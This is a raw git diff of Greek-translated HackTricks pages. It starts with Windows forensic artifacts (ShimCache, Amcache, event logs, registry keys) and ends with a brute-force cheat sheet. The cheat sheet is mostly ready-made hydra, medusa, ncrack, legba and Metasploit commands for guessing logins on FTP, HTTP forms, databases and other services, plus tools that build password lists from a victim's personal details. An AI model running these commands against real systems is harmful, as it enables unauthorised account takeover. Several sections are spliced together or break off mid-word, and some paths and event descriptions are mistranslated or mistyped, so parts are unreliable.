Το **AppCompatCache**, επίσης γνωστό ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από την **Microsoft** για την αντιμετώπιση θεμάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
|
||||||
|
|
||||||
|
* Πλήρης διαδρομή του αρχείου
|
||||||
|
* Μέγεθος του αρχείου
|
||||||
|
* Τελευταία τροποποίηση υπό το **$Standard\_Information** (SI)
|
||||||
|
* Τελευταία ενημέρωση του ShimCache
|
||||||
|
* Σημαία εκτέλεσης διεργασίας
|
||||||
|
|
||||||
|
Τέτοια δεδομένα αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες βάσει της έκδοσης του λειτουργικού συστήματος:
|
||||||
|
|
||||||
|
* Για το XP, τα δεδομένα αποθηκεύονται στο `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα για 96 καταχωρήσεις.
|
||||||
|
* Για το Server 2003, καθώς και για τις εκδόσεις των Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, με χωρητικότητα για 512 και 1024 καταχωρήσεις αντίστοιχα.
|
||||||
|
|
||||||
|
Για την ανάλυση των αποθηκευμένων πληροφοριών, συνιστάται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (488).png>)
|
||||||
|
|
||||||
|
### Amcache
|
||||||
|
|
||||||
|
Το αρχείο **Amcache.hve** είναι ουσιαστικά ένα καταγεγραμμένο μητρώο που καταγράφει λεπτομέρειες για εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||||
|
|
||||||
|
Αυτό το αρχείο είναι σημαντικό για την αποθήκευση εγγραφών πρόσφατα εκτελεσμένων διεργασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμένων τους. Αυτές οι πληροφορίες είναι ανεκτίμητες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
|
||||||
|
|
||||||
|
Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση του περιεχομένου του αρχείου **Amcache.hve** και την εξαγωγή των αποτελεσμάτων σε μορφή CSV:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||||
|
```
|
||||||
|
|
||||||
|
Ανάμεσα στα δημιουργημένα αρχεία CSV, το `Amcache_Unassociated file entries` ξεχωρίζει ιδιαίτερα λόγω των πλούσιων πληροφοριών που παρέχει σχετικά με τις μη συσχετισμένες καταχωρήσεις αρχείων.
|
||||||
|
|
||||||
|
Το πιο ενδιαφέρον αρχείο CVS που δημιουργείται είναι το `Amcache_Unassociated file entries`.
|
||||||
|
|
||||||
|
### Πρόσφατα αρχεία cache
|
||||||
|
|
||||||
|
Αυτό το αρχείο μπορεί να βρεθεί μόνο στα Windows 7 στη διαδρομή `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων.
|
||||||
|
|
||||||
|
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο.
|
||||||
|
|
||||||
|
### Προγραμματισμένες εργασίες
|
||||||
|
|
||||||
|
Μπορείτε να τις εξάγετε από τη διαδρομή `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τις διαβάσετε ως XML.
|
||||||
|
|
||||||
|
### Υπηρεσίες
|
||||||
|
|
||||||
|
Μπορείτε να τις βρείτε στο μητρώο κάτω από το `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε.
|
||||||
|
|
||||||
|
### **Windows Store**
|
||||||
|
|
||||||
|
Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στη διαδρομή `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||||
|
Αυτή η αποθήκη έχει ένα **αρχείο καταγραφής** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**.
|
||||||
|
|
||||||
|
Μέσα στον πίνακα Application αυτής της βάσης δεδομένων, είναι δυνατόν να βρεθούν οι στήλες: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες για προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να διαπιστωθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή οι αναγνωριστικοί των εγκατεστημένων εφαρμογών πρέπει να είναι συνεχόμενοι.
|
||||||
|
|
||||||
|
Είναι επίσης δυνατό να **βρεθούν εγκατεστημένες εφαρμογές** μέσα στη διαδρομή του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||||
|
Και **απεγκατεστημένες εφαρμογές** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||||
|
|
||||||
|
## Γεγονότα των Windows
|
||||||
|
|
||||||
|
Οι πληροφορίες που εμφανίζονται στα γεγονότα των Windows είναι:
|
||||||
|
|
||||||
|
* Τι συνέβη
|
||||||
|
* Χρονική σήμανση (UTC + 0)
|
||||||
|
* Συμμετέχοντες χρήστες
|
||||||
|
* Συμμετέχοντες υπολογιστές (όνομα κεντρικού υπολογιστή, IP)
|
||||||
|
* Πόροι που ανατέθηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες)
|
||||||
|
|
||||||
|
Τα αρχεία καταγραφής βρίσκονται στη διαδρομή `C:\Windows\System32\config` πριν από τα Windows Vista και στη διαδρομή `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε μορφή **XML** και χρησιμοποιούν την επέκταση **.evtx**.
|
||||||
|
|
||||||
|
Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||||
|
|
||||||
|
Μπορούν να προβληθούν μέσω του Προβολέα Γεγονότων των Windows (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως το [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||||
|
|
||||||
|
## Κατανόηση της καταγραφής γεγονότων ασφάλειας των Windows
|
||||||
|
|
||||||
|
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφάλειας που βρίσκεται στη διαδρομή `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν τις συνδέσεις και αποσυνδέσεις χρηστών, τις ενέργειες των χρηστών και τις αλλαγές στις ρυθμίσεις ασφάλειας, καθ
|
||||||
|
|
||||||
|
#### Συμβάντα Τροφοδοσίας Συστήματος
|
||||||
|
|
||||||
|
Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον αποκλεισμό.
|
||||||
|
|
||||||
|
#### Διαγραφή Καταγραφών
|
||||||
|
|
||||||
|
Το EventID 1102 της Ασφάλειας υποδεικνύει τη διαγραφή των καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση αποδεικτικών στοιχείων.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,43 @@
|
||||||
|
# Ενδιαφέροντα Κλειδιά Καταχώρησης των Windows
|
||||||
|
|
||||||
|
### Ενδιαφέροντα Κλειδιά Καταχώρησης των Windows
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
### **Έκδοση των Windows και Πληροφορίες Κατόχου**
|
||||||
|
- Στο **`Software\Microsoft\Windows NT\CurrentVersion`**, θα βρείτε την έκδοση των Windows, το Service Pack, την ώρα εγκατάστασης και το όνομα του κατόχου που έχει καταχωρηθεί με απλό τρόπο.
|
||||||
|
|
||||||
|
### **Όνομα Υπολογιστή**
|
||||||
|
- Το όνομα του υπολογιστή βρίσκεται στο **`System\ControlSet001\Control\ComputerName\ComputerName`**.
|
||||||
|
|
||||||
|
### **Ρύθμιση Ζώνης Ώρας**
|
||||||
|
- Η ζώνη ώρας του συστήματος αποθηκεύεται στο **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||||
|
|
||||||
|
### **Καταγραφή Χρόνου Πρόσβασης**
|
||||||
|
- Από προεπιλογή, η καταγραφή του τελευταίου χρόνου πρόσβασης είναι απενεργοποιημένη (**`NtfsDisableLastAccessUpdate=1`**). Για να την ενεργοποιήσετε, χρησιμοποιήστε:
|
||||||
|
`fsutil behavior set disablelastaccess 0`
|
||||||
|
|
||||||
|
### Έκδοση των Windows και Service Packs
|
||||||
|
- Η **έκδοση των Windows** υποδεικνύει την έκδοση (π.χ., Home, Pro) και την κυκλοφορία της (π.χ., Windows 10, Windows 11), ενώ τα **Service Packs** είναι ενημερώσεις που περιλαμβάνουν διορθώσεις και, μερικές φορές, νέα χαρακτηριστικά.
|
||||||
|
|
||||||
|
### Ενεργοποίηση του Χρόνου Τελευταίας Πρόσβασης
|
||||||
|
- Η ενεργοποίηση της καταγραφής του χρόνου τελευταίας πρόσβασης σας επιτρέπει να δείτε πότε ανοίχθηκαν τα αρχεία τελευταία φορά, κάτι που μπορεί να είναι κρίσιμο για αναλύσεις αποδεικτικών στοιχείων ή για την παρακολούθηση του συστήματος.
|
||||||
|
|
||||||
|
### Λεπτομέρειες Πληροφοριών Δικτύου
|
||||||
|
- Η καταχώρηση κρατάει εκτεταμένα δεδομένα για τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων των **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και των **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, τα οποία είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας και των δικαιωμάτων του δικτύου.
|
||||||
|
|
||||||
|
### Προσωπική Αποθήκευση Πλευράς Πελάτη (CSC)
|
||||||
|
- Η **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης με την αποθήκευση αντιγράφων κοινόχρηστων αρχείων. Διάφορες ρυθμίσεις **CSCFlags
|
|
@ -1,4 +1,4 @@
|
||||||
# Χειροκίνητη Δύναμη - Φύλλο Απατηλών Φύλλων
|
# Brute Force - CheatSheet
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -44,6 +44,7 @@
|
||||||
Βρείτε όσο περισσότερες πληροφορίες μπορείτε για τον στόχο και δημιουργήστε ένα προσαρμοσμένο λεξικό. Εργαλεία που μπορεί να βοηθήσουν:
|
Βρείτε όσο περισσότερες πληροφορίες μπορείτε για τον στόχο και δημιουργήστε ένα προσαρμοσμένο λεξικό. Εργαλεία που μπορεί να βοηθήσουν:
|
||||||
|
|
||||||
### Crunch
|
### Crunch
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
|
||||||
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
|
||||||
|
@ -54,21 +55,27 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
||||||
^ Special characters including spac
|
^ Special characters including spac
|
||||||
crunch 6 8 -t ,@@^^%%
|
crunch 6 8 -t ,@@^^%%
|
||||||
```
|
```
|
||||||
|
|
||||||
### Cewl
|
### Cewl
|
||||||
|
|
||||||
Η εργαλειοθήκη **Cewl** χρησιμοποιείται για τη δημιουργία λεξικών από κείμενο που έχει εξαχθεί από ιστοσελίδες. Μπορεί να χρησιμοποιηθεί για επίθεση με brute force σε κωδικούς πρόσβασης.
|
Η εργαλειοθήκη **Cewl** χρησιμοποιείται για τη δημιουργία λεξικών από κείμενο που έχει εξαχθεί από ιστοσελίδες. Μπορεί να χρησιμοποιηθεί για επίθεση με brute force σε κωδικούς πρόσβασης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cewl example.com -m 5 -w words.txt
|
cewl example.com -m 5 -w words.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### [CUPP](https://github.com/Mebus/cupp)
|
### [CUPP](https://github.com/Mebus/cupp)
|
||||||
|
|
||||||
Δημιουργήστε κωδικούς πρόσβασης βασισμένους στη γνώση σας για το θύμα (ονόματα, ημερομηνίες...)
|
Δημιουργήστε κωδικούς πρόσβασης βασισμένους στη γνώση σας για το θύμα (ονόματα, ημερομηνίες...)
|
||||||
|
|
||||||
```
|
```
|
||||||
python3 cupp.py -h
|
python3 cupp.py -h
|
||||||
```
|
```
|
||||||
|
|
||||||
### [Wister](https://github.com/cycurity/wister)
|
### [Wister](https://github.com/cycurity/wister)
|
||||||
|
|
||||||
Ένα εργαλείο για τη δημιουργία λίστας λέξεων, που σας επιτρέπει να παρέχετε ένα σύνολο λέξεων, δίνοντάς σας τη δυνατότητα να δημιουργήσετε πολλαπλές παραλλαγές από τις δοθείσες λέξεις, δημιουργώντας μια μοναδική και ιδανική λίστα λέξεων για χρήση σχετικά με ένα συγκεκριμένο στόχο.
|
Ένα εργαλείο για τη δημιουργία λίστας λέξεων, που σας επιτρέπει να παρέχετε ένα σύνολο λέξεων, δίνοντάς σας τη δυνατότητα να δημιουργήσετε πολλαπλές παραλλαγές από τις δοθείσες λέξεις, δημιουργώντας μια μοναδική και ιδανική λίστα λέξεων για χρήση σχετικά με ένα συγκεκριμένο στόχο.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||||
|
|
||||||
|
@ -87,6 +94,7 @@ Generated 67885 lines.
|
||||||
|
|
||||||
Finished in 0.920s.
|
Finished in 0.920s.
|
||||||
```
|
```
|
||||||
|
|
||||||
### [pydictor](https://github.com/LandGrey/pydictor)
|
### [pydictor](https://github.com/LandGrey/pydictor)
|
||||||
|
|
||||||
### Λίστες Λέξεων
|
### Λίστες Λέξεων
|
||||||
|
@ -115,6 +123,7 @@ Finished in 0.920s.
|
||||||
Ταξινομημένες κατά αλφαβητική σειρά όνοματος υπηρεσίας.
|
Ταξινομημένες κατά αλφαβητική σειρά όνοματος υπηρεσίας.
|
||||||
|
|
||||||
### AFP
|
### AFP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -p 548 --script afp-brute <IP>
|
nmap -p 548 --script afp-brute <IP>
|
||||||
msf> use auxiliary/scanner/afp/afp_login
|
msf> use auxiliary/scanner/afp/afp_login
|
||||||
|
@ -124,106 +133,136 @@ msf> set PASS_FILE <PATH_PASSWDS>
|
||||||
msf> set USER_FILE <PATH_USERS>
|
msf> set USER_FILE <PATH_USERS>
|
||||||
msf> run
|
msf> run
|
||||||
```
|
```
|
||||||
|
|
||||||
### AJP
|
### AJP
|
||||||
|
|
||||||
#### Brute Force
|
#### Brute Force
|
||||||
|
|
||||||
Η επίθεση Brute Force είναι μια τεχνική που στοχεύει στο να δοκιμάσει όλους τους πιθανούς συνδυασμούς για να βρει τα σωστά διαπιστευτήρια εισόδου. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε συστήματα, λογαριασμούς ή δεδομένα. Είναι σημαντικό να προστατεύετε τα συστήματά σας από αυτού του είδους επιθέσεις με ισχυρούς κωδικούς πρόσβασης και πολιτικές περιορισμο
|
Η επίθεση Brute Force είναι μια τεχνική που στοχεύει στο να δοκιμάσει όλους τους πιθανούς συνδυασμούς για να βρει τα σωστά διαπιστευτήρια εισόδου. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε συστήματα, λογαριασμούς ή δεδομένα. Είναι σημαντικό να προστατεύετε τα συστήματά σας από αυτού του είδους επιθέσεις με ισχυρούς κωδικούς πρόσβασης και πολιτικές περιορισμο
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script ajp-brute -p 8009 <IP>
|
nmap --script ajp-brute -p 8009 <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Cassandra
|
### Cassandra
|
||||||
|
|
||||||
Η Cassandra είναι ένα σύστημα διαχείρισης βάσεων δεδομένων που χρησιμοποιείται για τη διαχείριση μεγάλων όγκων δεδομένων με υψηλή διαθεσιμότητα.
|
Η Cassandra είναι ένα σύστημα διαχείρισης βάσεων δεδομένων που χρησιμοποιείται για τη διαχείριση μεγάλων όγκων δεδομένων με υψηλή διαθεσιμότητα.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script cassandra-brute -p 9160 <IP>
|
nmap --script cassandra-brute -p 9160 <IP>
|
||||||
# legba ScyllaDB / Apache Casandra
|
# legba ScyllaDB / Apache Casandra
|
||||||
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
|
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
|
||||||
```
|
```
|
||||||
|
|
||||||
### CouchDB
|
### CouchDB
|
||||||
|
|
||||||
Η επίθεση με βίαιη δύναμη είναι μια από τις πιο δημοφιλείς τεχνικές επίθεσης εναντίον του CouchDB. Οι επιτιθέμενοι χρησιμοποιούν λίστες με συνηθισμένα κωδικούς πρόσβασης ή δημιουργούν προσαρμοσμένες λίστες κωδικών για να δοκιμάσουν όλους τους πιθανούς συνδυασμούς μέχρι να βρουν τον σωστό κωδικό πρόσβασης.
|
Η επίθεση με βίαιη δύναμη είναι μια από τις πιο δημοφιλείς τεχνικές επίθεσης εναντίον του CouchDB. Οι επιτιθέμενοι χρησιμοποιούν λίστες με συνηθισμένα κωδικούς πρόσβασης ή δημιουργούν προσαρμοσμένες λίστες κωδικών για να δοκιμάσουν όλους τους πιθανούς συνδυασμούς μέχρι να βρουν τον σωστό κωδικό πρόσβασης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||||
```
|
```
|
||||||
|
|
||||||
### Καταχώριση Docker
|
### Καταχώριση Docker
|
||||||
|
|
||||||
```
|
```
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||||
```
|
```
|
||||||
|
|
||||||
### Elasticsearch
|
### Elasticsearch
|
||||||
|
|
||||||
#### Βρute-Force Επίθεση
|
#### Βρute-Force Επίθεση
|
||||||
|
|
||||||
Μια brute-force επίθεση στο Elasticsearch μπορεί να πραγματοποιηθεί χρησιμοποιώντας εργαλεία όπως το Hydra ή το Patator. Μπορείτε να δοκιμάσετε διαφορετικούς συνδυασμούς ονομάτων χρηστών και κωδικών πρόσβασης μέχρι να βρείτε το σωστό. Είναι σημαντικό να θυμάστε ότι η εκτέλεση brute-force επιθέσεων εναντίον συστημάτων χωρίς την άδεια του ιδιοκτήτη είναι παράνομη και απαγορεύεται.
|
Μια brute-force επίθεση στο Elasticsearch μπορεί να πραγματοποιηθεί χρησιμοποιώντας εργαλεία όπως το Hydra ή το Patator. Μπορείτε να δοκιμάσετε διαφορετικούς συνδυασμούς ονομάτων χρηστών και κωδικών πρόσβασης μέχρι να βρείτε το σωστό. Είναι σημαντικό να θυμάστε ότι η εκτέλεση brute-force επιθέσεων εναντίον συστημάτων χωρίς την άδεια του ιδιοκτήτη είναι παράνομη και απαγορεύεται.
|
||||||
|
|
||||||
```
|
```
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||||
```
|
```
|
||||||
|
|
||||||
### FTP
|
### FTP
|
||||||
|
|
||||||
Η επίθεση με βίαιη δύναμη (brute force) στο FTP συνήθως γίνεται με το λογισμικό Hydra. Το Hydra είναι ένα εργαλείο που χρησιμοποιεί λεξικά για να δοκιμάσει πολλούς συνδυασμούς ονομάτων χρηστών και κωδικών πρόσβασης. Μπορείτε να το χρησιμοποιήσετε με την εντολή hydra -l <username> -P <wordlist> ftp://<target_ip>.
|
Η επίθεση με βίαιη δύναμη (brute force) στο FTP συνήθως γίνεται με το λογισμικό Hydra. Το Hydra είναι ένα εργαλείο που χρησιμοποιεί λεξικά για να δοκιμάσει πολλούς συνδυασμούς ονομάτων χρηστών και κωδικών πρόσβασης. Μπορείτε να το χρησιμοποιήσετε με την εντολή hydra -l -P ftp://\<target\_ip>.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||||
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
||||||
```
|
```
|
||||||
|
|
||||||
### HTTP Γενική Εξαναγκαστική
|
### HTTP Γενική Εξαναγκαστική
|
||||||
|
|
||||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||||
|
|
||||||
### HTTP Βασική Ταυτοποίηση
|
### HTTP Βασική Ταυτοποίηση
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||||
# Use https-get mode for https
|
# Use https-get mode for https
|
||||||
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
||||||
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
|
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
|
||||||
```
|
```
|
||||||
|
|
||||||
### HTTP - NTLM
|
### HTTP - NTLM
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
```
|
```
|
||||||
|
|
||||||
### HTTP - Αποστολή Φόρμας Post
|
### HTTP - Αποστολή Φόρμας Post
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||||
# Use https-post-form mode for https
|
# Use https-post-form mode for https
|
||||||
```
|
```
|
||||||
|
|
||||||
Για το http**s** πρέπει να αλλάξετε από "http-post-form" σε "**https-post-form"**
|
Για το http**s** πρέπει να αλλάξετε από "http-post-form" σε "**https-post-form"**
|
||||||
|
|
||||||
### **HTTP - CMS --** (W)ordpress, (J)oomla ή (D)rupal ή (M)oodle
|
### **HTTP - CMS --** (W)ordpress, (J)oomla ή (D)rupal ή (M)oodle
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
